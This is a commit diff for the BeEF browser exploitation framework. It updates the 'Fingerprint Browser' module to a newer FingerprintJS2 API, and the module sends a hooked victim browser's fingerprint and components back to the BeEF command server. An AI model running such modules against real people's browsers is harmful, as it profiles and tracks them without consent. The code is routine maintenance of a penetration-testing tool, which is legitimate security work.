Update FingerprintJS2 lib
This commit is contained in:
@@ -11,16 +11,20 @@ beef.execute(function() {
|
||||
f = "#{$root_dir}/modules/browser/fingerprint_browser/fingerprint2.js"
|
||||
File.read(f)
|
||||
rescue => e
|
||||
print_error "[Fingerprint Browser] Could not read file '#{f}': #{e}"
|
||||
print_error "[Fingerprint Browser] Could not read file '#{f}': #{e.message}"
|
||||
end
|
||||
%>
|
||||
|
||||
try {
|
||||
new Fingerprint2().get(function(result, components){
|
||||
beef.debug('[Fingerprint Browser] Result: ' + result);
|
||||
beef.debug('[Fingerprint Browser] Components: ' + JSON.stringify(components));
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fingerprint=' + result + '&components=' + JSON.stringify(components), beef.are.status_success());
|
||||
});
|
||||
setTimeout(function () {
|
||||
Fingerprint2.get(function (components) {
|
||||
var values = components.map(function (component) { return component.value })
|
||||
var murmur = Fingerprint2.x64hash128(values.join(''), 31)
|
||||
beef.debug('[Fingerprint Browser] Fingerprint: ' + murmur);
|
||||
beef.debug('[Fingerprint Browser] Components: ' + JSON.stringify(components));
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fingerprint=' + murmur + '&components=' + JSON.stringify(components), beef.are.status_success());
|
||||
})
|
||||
}, 500)
|
||||
} catch(e) {
|
||||
beef.debug('[Fingerprint Browser] Error: ' + e.message);
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + e.message, beef.are.status_error());
|
||||
|
||||
@@ -9,7 +9,7 @@ beef:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
name: "Fingerprint Browser"
|
||||
description: "This module attempts to fingerprint the browser using <a href='https://github.com/Valve/fingerprintjs2'>FingerprintJS2</a>."
|
||||
description: "This module attempts to fingerprint the browser and browser capabilities using <a href='https://github.com/Valve/fingerprintjs2'>FingerprintJS2</a>."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
working: ["ALL"]
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user